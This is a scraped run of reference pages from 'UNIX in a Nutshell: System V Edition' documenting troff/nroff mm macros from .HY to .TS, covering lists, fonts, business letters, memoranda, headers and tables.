Previous: Reference: .HU | UNIX in a Nutshell: System V Edition | Next: Reference: .HY
Reference: .HU | Book Index | Reference: .HY
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .HY

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .HX Chapter 13
mm Macros 		Next: Reference: .HZ

.HY

.HY

User-supplied exit macro executed in middle of printing heading.

Previous: Reference: .HX | UNIX in a Nutshell: System V Edition | Next: Reference: .HZ
Reference: .HX | Book Index | Reference: .HZ
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .HZ

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .HY Chapter 13
mm Macros 		Next: Reference: .I

.HZ

.HZ

User-supplied macro executed after heading.

Previous: Reference: .HY | UNIX in a Nutshell: System V Edition | Next: Reference: .I
Reference: .HY | Book Index | Reference: .I
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .I

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .HZ Chapter 13
mm Macros 		Next: Reference: .IA

.I

.I [iarg] [parg]

Set iarg in italics (underline in nroff) and parg in previous font. Up to 6 arguments.

Previous: Reference: .HZ | UNIX in a Nutshell: System V Edition | Next: Reference: .IA
Reference: .HZ | Book Index | Reference: .IA
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .IA

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .I Chapter 13
mm Macros 		Next: Reference: .IB

.IA

.IA

Start inside (recipient's) address for business letter. End with .IE.

Previous: Reference: .I | UNIX in a Nutshell: System V Edition | Next: Reference: .IB
Reference: .I | Book Index | Reference: .IB
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .IB

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .IA Chapter 13
mm Macros 		Next: Reference: .IE

.IB

.IB [iarg] [barg]

Set iarg in italics (underline in nroff) and barg in bold. Up to 6 arguments.

Previous: Reference: .IA | UNIX in a Nutshell: System V Edition | Next: Reference: .IE
Reference: .IA | Book Index | Reference: .IE
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .IE

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .IB Chapter 13
mm Macros 		Next: Reference: .IR

.IE

.IE

End inside (recipient's) address for business letter (see .IA).

Previous: Reference: .IB | UNIX in a Nutshell: System V Edition | Next: Reference: .IR
Reference: .IB | Book Index | Reference: .IR
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .IR

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .IE Chapter 13
mm Macros 		Next: Reference: .LB

.IR

.IR [iarg] [rarg]

Set iarg in italics (underline in nroff) and rarg in roman. Up to 6 arguments.

Previous: Reference: .IE | UNIX in a Nutshell: System V Edition | Next: Reference: .LB
Reference: .IE | Book Index | Reference: .LB
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .LB

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .IR Chapter 13
mm Macros 		Next: Reference: .LC

.LB

.LB n m pad type [mark] [LI-space] [LB-space]

List beginning. Allows complete control over list format. Begin each list item list with .LI; end list with .LE.

n

Text indent.

m

Mark indent.

pad

Padding associated with mark.

type

If 0, use the specified mark. If non-zero, and mark is 1, A, a, I, i, list is automatically numbered or alphabetically sequenced. In this case, type controls how mark is displayed. For example, if mark is currently 1, type will have the following results:
Type | Result
1 | 1.
2 | 1)
3 | (1)
4 | [1]
5 | <1>
6 | {1}

mark

Symbol or text to label each list entry. mark can be null (creates hanging indent), a text string, or 1, A, a, I, or i to create an automatically numbered or lettered list. See .AL.

LI-space

Number of blank lines to output between each following .LI macro. Default is 1.

LB-space

Number of blank lines to output by .LB macro itself. Default is 0.

Previous: Reference: .IR | UNIX in a Nutshell: System V Edition | Next: Reference: .LC
Reference: .IR | Book Index | Reference: .LC
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .LC

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .LB Chapter 13
mm Macros 		Next: Reference: .LE

.LC

.LC [n]

Clear list level up to n.

Previous: Reference: .LB | UNIX in a Nutshell: System V Edition | Next: Reference: .LE
Reference: .LB | Book Index | Reference: .LE
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .LE

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .LC Chapter 13
mm Macros 		Next: Reference: .LI

.LE

.LE [1]

End item list started by .AL, .BL, .DL, .LB, .ML, or .VL. An argument of 1 produces a line of white space (.5v) after the list.

Previous: Reference: .LC | UNIX in a Nutshell: System V Edition | Next: Reference: .LI
Reference: .LC | Book Index | Reference: .LI
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .LI

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .LE Chapter 13
mm Macros 		Next: Reference: .LO

.LI

.LI [mark] [1]
text

Item in list. List must be initialized (see .AL, .BL, .DL, .LB, .ML, and .VL) and then closed using .LE. If mark is specified, it replaces mark set by list-initialization macro. If mark is specified along with second argument of 1, then mark is prefixed to current mark.

Previous: Reference: .LE | UNIX in a Nutshell: System V Edition | Next: Reference: .LO
Reference: .LE | Book Index | Reference: .LO
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .LO

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .LI Chapter 13
mm Macros 		Next: Reference: .LT

.LO

.LO type [notation]

Specify type and the string to appear as notation in a business letter.

Type

AT

Attention

CN

Confidential

RN

Reference

SA

Salutation

SJ

Subject

Previous: Reference: .LI | UNIX in a Nutshell: System V Edition | Next: Reference: .LT
Reference: .LI | Book Index | Reference: .LT
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .LT

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .LO Chapter 13
mm Macros 		Next: Reference: .ML

.LT

.LT [type]

Business letter type.

Type

BL

Blocked (the default)

SB

Semi-blocked

FB

Full-blocked

SP

Simplified

Previous: Reference: .LO | UNIX in a Nutshell: System V Edition | Next: Reference: .ML
Reference: .LO | Book Index | Reference: .ML
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .ML

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .LT Chapter 13
mm Macros 		Next: Reference: .MT

.ML

.ML mark [indent] [1]

Initialize list with specified mark, which can be one or more characters. Specify indent of text (default is one space wider than mark). If third argument is 1, omit space between items in list.

Previous: Reference: .LT | UNIX in a Nutshell: System V Edition | Next: Reference: .MT
Reference: .LT | Book Index | Reference: .MT
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .MT

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .ML Chapter 13
mm Macros 		Next: Reference: .ND

.MT

.MT [type] [title]

Specify memorandum type and title. Controls format of formal memoranda and must be specified after other elements, such as .TL, .AF, .AU, .AS, and .AE. User-supplied title is prefixed to page number.

Type

0

No type

1

Memorandum for file {default}

2

Programmer's notes

3

Engineer's notes

4

Released paper

5

External letter

string

string is printed

Previous: Reference: .ML | UNIX in a Nutshell: System V Edition | Next: Reference: .ND
Reference: .ML | Book Index | Reference: .ND
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .ND

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .MT Chapter 13
mm Macros 		Next: Reference: .NE

.ND

.ND date

New date. Change date that appears in formal memoranda.

Previous: Reference: .MT | UNIX in a Nutshell: System V Edition | Next: Reference: .NE
Reference: .MT | Book Index | Reference: .NE
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .NE

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .ND Chapter 13
mm Macros 		Next: Reference: .nP

.NE

.NE

Notation end. See .NS.

Previous: Reference: .ND | UNIX in a Nutshell: System V Edition | Next: Reference: .nP
Reference: .ND | Book Index | Reference: .nP
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .nP

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .NE Chapter 13
mm Macros 		Next: Reference: .NS

.nP

.nP

Numbered paragraphs with double-line indent at start of paragraph. See also .P.

Previous: Reference: .NE | UNIX in a Nutshell: System V Edition | Next: Reference: .NS
Reference: .NE | Book Index | Reference: .NS
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .NS

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .nP Chapter 13
mm Macros 		Next: Reference: .OF

.NS

.NS [type]

Notation start. Used with .MT 1 and .AS 2/.AE (memorandum for file) to specify note for cover sheet. Otherwise used at end of formal memoranda. Specify notation type.

Type

0

Copy to (the default)

1

Copy (with attention) to

2

Copy (without att.) to

3

Att

4

Atts

5

Enc

6

Encs

7

Under Separate Cover

8

Letter to

9

Memorandum to

10

Copy (with atts.) to

11

Copy (without atts.) to

12

Abstract Only to

13

Complete Memorandum to

string

Copy string to

Previous: Reference: .nP | UNIX in a Nutshell: System V Edition | Next: Reference: .OF
Reference: .nP | Book Index | Reference: .OF
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .OF

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .NS Chapter 13
mm Macros 		Next: Reference: .OH

.OF

.OF ['left'center'right']

Print three-part string as odd page footer; parts are left-justified, centered, and right-justified at bottom of every odd page.

Previous: Reference: .NS | UNIX in a Nutshell: System V Edition | Next: Reference: .OH
Reference: .NS | Book Index | Reference: .OH
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .OH

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .OF Chapter 13
mm Macros 		Next: Reference: .OK

.OH

.OH ['left'center'right']

Print three-part string as odd page header; parts are left-justified, centered, and right-justified at bottom of every odd page.

Previous: Reference: .OF | UNIX in a Nutshell: System V Edition | Next: Reference: .OK
Reference: .OF | Book Index | Reference: .OK
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .OK

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .OH Chapter 13
mm Macros 		Next: Reference: .OP

.OK

.OK [topic]

Other keywords. Specify topic to appear on cover sheet of formal memoranda. Up to 9 arguments.

Previous: Reference: .OH | UNIX in a Nutshell: System V Edition | Next: Reference: .OP
Reference: .OH | Book Index | Reference: .OP
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .OP

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .OK Chapter 13
mm Macros 		Next: Reference: .P

.OP

.OP

Force an odd page.

Previous: Reference: .OK | UNIX in a Nutshell: System V Edition | Next: Reference: .P
Reference: .OK | Book Index | Reference: .P
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .P

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .OP Chapter 13
mm Macros 		Next: Reference: .PF

.P

.P [type]

Start new paragraph. A paragraph type can be specified, overriding default. Various registers can be set to control default formats:

Pt

Paragraph type for document (default is 0).

Pi

Amount of indent (default is 3v).

Ps

Spacing between paragraphs (default is one line of white space).

Np

Set this to 1 to produce numbered paragraphs.

Type

0

Left-justified (the default)

1

Indented

2

Indented except after displays (.DE), lists (.LE), and headings (.H).

Previous: Reference: .OP | UNIX in a Nutshell: System V Edition | Next: Reference: .PF
Reference: .OP | Book Index | Reference: .PF
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .PF

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .P Chapter 13
mm Macros 		Next: Reference: .PH

.PF

.PF ['left'center'right']

Print three-part string as footer; parts are left-justified, centered, and right-justified at bottom of every page. Use \\\\nP in string to obtain page number. See also .EF and .OF.

Previous: Reference: .P | UNIX in a Nutshell: System V Edition | Next: Reference: .PH
Reference: .P | Book Index | Reference: .PH
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .PH

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .PF Chapter 13
mm Macros 		Next: Reference: .PM

.PH

.PH ['left'center'right']

Print three-part string as header; parts are left-justified, centered, and right-justified at top of every page. Use \\\\nP in string to obtain page number. See also .EH and .OH.

Previous: Reference: .PF | UNIX in a Nutshell: System V Edition | Next: Reference: .PM
Reference: .PF | Book Index | Reference: .PM
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .PM

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .PH Chapter 13
mm Macros 		Next: Reference: .PX

.PM

.PM [type]

Proprietary marking on each page.

Type

P

Private

N

Notice

Previous: Reference: .PH | UNIX in a Nutshell: System V Edition | Next: Reference: .PX
Reference: .PH | Book Index | Reference: .PX
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .PX

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .PM Chapter 13
mm Macros 		Next: Reference: .R

.PX

.PX

Page-heading user exit. Invoked after restoration of default environment. See .TP.

Previous: Reference: .PM | UNIX in a Nutshell: System V Edition | Next: Reference: .R
Reference: .PM | Book Index | Reference: .R
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .R

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .PX Chapter 13
mm Macros 		Next: Reference: .RB

.R

.R

Return to roman font (end underlining in nroff).

Previous: Reference: .PX | UNIX in a Nutshell: System V Edition | Next: Reference: .RB
Reference: .PX | Book Index | Reference: .RB
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .RB

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .R Chapter 13
mm Macros 		Next: Reference: .RD

.RB

.RB [rarg] [barg]

Set rarg in roman and barg in bold. Up to 6 arguments.

Previous: Reference: .R | UNIX in a Nutshell: System V Edition | Next: Reference: .RD
Reference: .R | Book Index | Reference: .RD
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .RD

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .RB Chapter 13
mm Macros 		Next: Reference: .RF

.RD

.RD [prompt]

Read input from terminal, supplying optional prompt.

Previous: Reference: .RB | UNIX in a Nutshell: System V Edition | Next: Reference: .RF
Reference: .RB | Book Index | Reference: .RF
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .RF

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .RD Chapter 13
mm Macros 		Next: Reference: .RI

.RF

.RF

End of reference text. See also .RS.

Previous: Reference: .RD | UNIX in a Nutshell: System V Edition | Next: Reference: .RI
Reference: .RD | Book Index | Reference: .RI
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .RI

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .RF Chapter 13
mm Macros 		Next: Reference: .RL

.RI

.RI [rarg] [barg]

Set rarg in roman and barg in italics. Up to 6 arguments.

Previous: Reference: .RF | UNIX in a Nutshell: System V Edition | Next: Reference: .RL
Reference: .RF | Book Index | Reference: .RL
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .RL

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .RI Chapter 13
mm Macros 		Next: Reference: .RP

.RL

.RL [indent] [1]

Initialize reference list, essentially a numbered list with number set within brackets ([]). Specify indent of text; the default (6) is set through register Li. If second argument is 1, omit space between list items.

Previous: Reference: .RI | UNIX in a Nutshell: System V Edition | Next: Reference: .RP
Reference: .RI | Book Index | Reference: .RP
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .RP

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .RL Chapter 13
mm Macros 		Next: Reference: .RS

.RP

.RP

Produce reference page.

Previous: Reference: .RL | UNIX in a Nutshell: System V Edition | Next: Reference: .RS
Reference: .RL | Book Index | Reference: .RS
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .RS

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .RP Chapter 13
mm Macros 		Next: Reference: .S

.RS

.RS [n]

Start automatically numbered reference, optionally at n. End with .RF.

Previous: Reference: .RP | UNIX in a Nutshell: System V Edition | Next: Reference: .S
Reference: .RP | Book Index | Reference: .S
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .S

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .RS Chapter 13
mm Macros 		Next: Reference: .SA

.S

.S [±] [n] [±] [m]

Set point size to n and vertical spacing to m (troff only). Alternatively, either argument can be specified by incrementing or decrementing current value (C), default value (D), or previous value (P). Defaults point size is 10; default vertical spacing is 12.

Previous: Reference: .RS | UNIX in a Nutshell: System V Edition | Next: Reference: .SA
Reference: .RS | Book Index | Reference: .SA
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .SA

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .S Chapter 13
mm Macros 		Next: Reference: .SG

.SA

.SA [n]

Set right margin justification to n. Defaults are no justification for nroff, justification for troff.

Values for n

0

No justification.

1

Justification.

Previous: Reference: .S | UNIX in a Nutshell: System V Edition | Next: Reference: .SG
Reference: .S | Book Index | Reference: .SG
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .SG

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .SA Chapter 13
mm Macros 		Next: Reference: .SK

.SG

.SG [name]

Use name for signature line.

Previous: Reference: .SA | UNIX in a Nutshell: System V Edition | Next: Reference: .SK
Reference: .SA | Book Index | Reference: .SK
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .SK

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .SG Chapter 13
mm Macros 		Next: Reference: .SM

.SK

.SK n

Skip n pages. Similar to a .bp request.

Previous: Reference: .SG | UNIX in a Nutshell: System V Edition | Next: Reference: .SM
Reference: .SG | Book Index | Reference: .SM
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .SM

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .SK Chapter 13
mm Macros 		Next: Reference: .SP

.SM

.SM x [y z]

Reduce string x by one point. If strings y and z are also specified, y is reduced by one point.

Previous: Reference: .SK | UNIX in a Nutshell: System V Edition | Next: Reference: .SP
Reference: .SK | Book Index | Reference: .SP
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .SP

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .SM Chapter 13
mm Macros 		Next: Reference: .TB

.SP

.SP [n]

Output n blank vertical spaces. The spacing requests of two consecutive .SP macros do not accumulate.

Previous: Reference: .SM | UNIX in a Nutshell: System V Edition | Next: Reference: .TB
Reference: .SM | Book Index | Reference: .TB
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .TB

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .SP Chapter 13
mm Macros 		Next: Reference: .TC

.TB

.TB [title][n][flag]

Supply table title. Arguments optionally override default numbering, where flag determines use of number n.

Flag

0

n is a prefix to number (default).

1

n is a suffix.

2

n replaces number.

Previous: Reference: .SP | UNIX in a Nutshell: System V Edition | Next: Reference: .TC
Reference: .SP | Book Index | Reference: .TC
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .TC

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .TB Chapter 13
mm Macros 		Next: Reference: .TE

.TC

.TC [slevel] [spacing] [tlevel] [tab] [head1] ...

Generate table of contents in format specified by arguments. The levels of headings that are saved for table of contents is determined by setting the Cl register.

slevel sets the levels of headings that will have spacing before them. spacing sets the amount of spacing. Default is 1; first-level headings have a blank line before them.

tlevel and tab affect location of page number. Heading levels less than or equal to tlevel are output with page numbers at right margin; otherwise, heading and page number are separated by two spaces. If page numbers are at right margin, and if tab is 0, a leader will be output using dots; otherwise, spaces are used.

Previous: Reference: .TB | UNIX in a Nutshell: System V Edition | Next: Reference: .TE
Reference: .TB | Book Index | Reference: .TE
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .TE

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .TC Chapter 13
mm Macros 		Next: Reference: .TH

.TE

.TE

End table. See .TS.

Previous: Reference: .TC | UNIX in a Nutshell: System V Edition | Next: Reference: .TH
Reference: .TC | Book Index | Reference: .TH
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .TH

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .TE Chapter 13
mm Macros 		Next: Reference: .TL

.TH

.TH [N]

End table header. Must be used with a preceding .TS H. Use N to suppress table headers until a new page.

Previous: Reference: .TE | UNIX in a Nutshell: System V Edition | Next: Reference: .TL
Reference: .TE | Book Index | Reference: .TL
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .TL

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .TH Chapter 13
mm Macros 		Next: Reference: .TM

.TL

.TL title

Supply title for formal memoranda.

Previous: Reference: .TH | UNIX in a Nutshell: System V Edition | Next: Reference: .TM
Reference: .TH | Book Index | Reference: .TM
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .TM

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .TL Chapter 13
mm Macros 		Next: Reference: .TP

.TM

.TM [n]

Supply number n for formal memoranda.

Previous: Reference: .TL | UNIX in a Nutshell: System V Edition | Next: Reference: .TP
Reference: .TL | Book Index | Reference: .TP
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .TP

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .TM Chapter 13
mm Macros 		Next: Reference: .TS

.TP

.TP

Page top macro, invoked automatically at the beginning of a new page. Executed in environment in which heading is output. See also .PH.

Previous: Reference: .TM | UNIX in a Nutshell: System V Edition | Next: Reference: .TS
Reference: .TM | Book Index | Reference: .TS
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .TS

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .TP Chapter 13
mm Macros 		Next: Reference: .TX

.TS

.TS [H]

Start table to be processed by tbl. Use H to put a table header on all pages -d table header with .TH). End table with .TE. See Section 16 for more information on tbl.

Previous: Reference: .TP | UNIX in a Nutshell: System V Edition | Next: Reference: .TX
Reference: .TP | Book Index | Reference: .TX
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .TX

